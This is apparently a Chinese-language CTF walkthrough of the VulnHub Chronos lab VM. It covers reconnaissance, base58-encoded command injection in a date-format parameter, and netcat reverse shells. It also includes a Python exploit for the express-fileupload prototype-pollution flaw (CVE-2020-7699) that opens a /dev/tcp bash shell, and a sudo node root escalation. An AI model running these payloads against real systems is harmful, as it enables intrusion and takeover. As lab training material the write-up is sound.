声明:该篇文章仅供学习网络安全技术参考研究使用,请勿使用相关技术做违法操作。本公众号的技术文章可以转载,能被更多人认可本文的创作内容属实荣幸之至,请在转载时标明转载来源即可.也欢迎对文章中出现的不足和错误进行批评指正!
靶机地址:
https://www.vulnhub.com/entry/chronos-1,735/
使用netdiscover工具来进行主机发现(建议只用这款工具的时候,子网掩码比实际的少8位,这样的速度会更快)
netdiscover -r 192.168.56.0/16
靶机的ip:192.168.56.105
kali的ip:192.168.56.103
1、对靶机进行操作系统、开放端口、运行的服务进行探测
nmap -sT -O -sV -p- 192.168.56.105
可以看到22端口开放的是ssh服务,版本是openssh 7.6p1;80端口跑的是apache的一个http服务;8080端口跑的是使用node.js的Express框架搭建的http服务。
操作系统判断是Linux4.15-5.6
2、使用浏览器对80和8080端口进行访问以及进一步探测
访问80端口,显示一个Chronos - Date & Time
访问8080端口,显示无法连接
那么先对80端口进行目录爆破,看有没有可以利用的目录或者文件
gobuster dir -u http://192.168.56.105 -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt
没有发现一些有用的目录或者文件
在80端口页面使用ctrl+u快捷键查看80端口的源码
这是一个html的代码,但是在代码的底部发现一段特殊的js代码
粘贴到编辑器
这段代码,很多都被加密,但是有一段很是吸引人,并且没有被加密,但是它的参数数据被加密
http://chronos.local:8000/date?format=4ugYDuAkScCG5gMcZjEN3mALyG1dD5ZYsiCfWvQ2w9anYGyL'
分析一下这段代码,去给chronos.local的8000端口发送一段请求,chronos.local好像是在说靶机本地的8000端口,结合前面的端口发现(还有8000端口无法连接),会不会需要去访问这个域名才能去访问8000端口;所以,去修改kali的host文件,将靶机的这个域名指向靶机8000端口
vim /etc/hosts
重新访问80端口(因为这段代码是在80端口的源代码中)
发现页面出现当前的时间
3、使用Burp Suite去抓取80端口的数据包,进行分析页面变化的原因
在历史记录里面,看到一个get请求,请求的数据包含刚才分析的代码数据
使用到在线的一款工具:cyberchef;去分析发送请求的数据(像base64),使用到cyberchef的一个magic模块
分析出这个数据是一个base58,并且解码成'+Today is %A, %B %d, %Y %H:%M:%S.'
看到这个解码的信息,很像是linux的date命令
在自己的kali上进行测试,date '+Today is %A, %B %d, %Y %H:%M:%S.'
发现和80端口的返回信息一样
在Burp Suite上进一步验证,将刚才的数据包的参数信息修改,重新发送,服务端没有任何返回
那么可以知道80端口的页面变化信息是由format后面的数据结合服务段的date命令进行返回的
结合上面的信息收集和进一步的探测,可以利用format后面的参数来尝试反弹shell
linux里由很多类似管道符的符号,比如&,||,&,&&等等
1、利用&&的作用,先用Burp Suite发包去探测是否可以使用
因为刚才的代码中,format后面的数据是base58加密,那么可以确定服务端会对format后面的数据进行base58解密,所以要对要传入的数据进行base58加密
&& cat /etc/passwd,加密2amsWhMPZo2e6rNkDbzeRBaZH,通过Burp Suite发包
返回/etc/passwd的数据
&& cd /bin && ls -la,加密(后续默认都已加密发送),发包
发现有bash,也有nc
&&which nc,判断nc是否可以使用,返回Something went wrong,可能对format参数有判断或者过滤
&& nc 192.168.56.103 4444,尝试去连接一下kali(如果发包没有返回,可以尝试去重启靶机)
靶机连接到我的kali,证明没有进行过滤处理,只是进行验证而已
那么尝试去反弹shell
&& nc 192.168.56.103 4444 -e /bin/bash
没有反弹shell,那么nc的版本可能过久,没有-e参数
使用nc串联去反弹shell
&& nc 192.168.56.103 4444 | /bin/bash | nc 192.168.56.103 5555 成功反弹shell,获取到初始shell
1、第一次提权(imera)
sudo -l没有权限访问
cat /etc/crontab查看定时任务
发现有定时任务,但是这个定时任务的目录下,发现有文件,但是没有权限
当前的目录为/opt/chronos,ls发现有一个package.json,查看一下,这是node.js的引用库
同样来到/opt/chronos-v2,发现有backend目录,进去发现也和/opt/chronos一样的文件,但是多了一个server.js,查看package.json和server.js
发现server.js是一个只允许靶机本地访问的服务,开放在本地的8080端口,是用来文件上传的服务
而package.json中多了一个模块,express-fileupload
通过百度等搜索引擎,发现node.js有一个“原型污染“的漏洞,漏洞编号CVE-2020-7699,而这个漏洞的要求是”parseNested”特征为ture,靶机刚好满足这个要求,那么寻找exp
import requests
cmd = 'bash -c "bash -i &> /dev/tcp/192.168.56.103/1234 0>&1"'
#pollute
requests.post('http://127.0.0.1:8080', files = {'__proto__.outputFunctionName': (
None, f"x;console.log(1);process.mainModule.require('child_process').exec('{cmd}');x")})
#execute command
requests.get('http://127.0.0.1:8080')
将代码上传到靶机(shell.py)
python3 shell.py执行(kali开启监听),提权成功,
2、第二次提权(root)
输入sudo -l,有可以不用root密码就可以执行的文件
那么通过node来进行提权(sudo滥用的文件可以通过搜索引擎去找到相应提权的技巧)
sudo node -e 'require("child_process").spawn("/bin/sh", {stdio: [0, 1, 2]})'
提升为root权限并且拿到第二个flag
参考资料:
https://www.aqniukt.com/goods/show/2434?targetId=16289&preview=0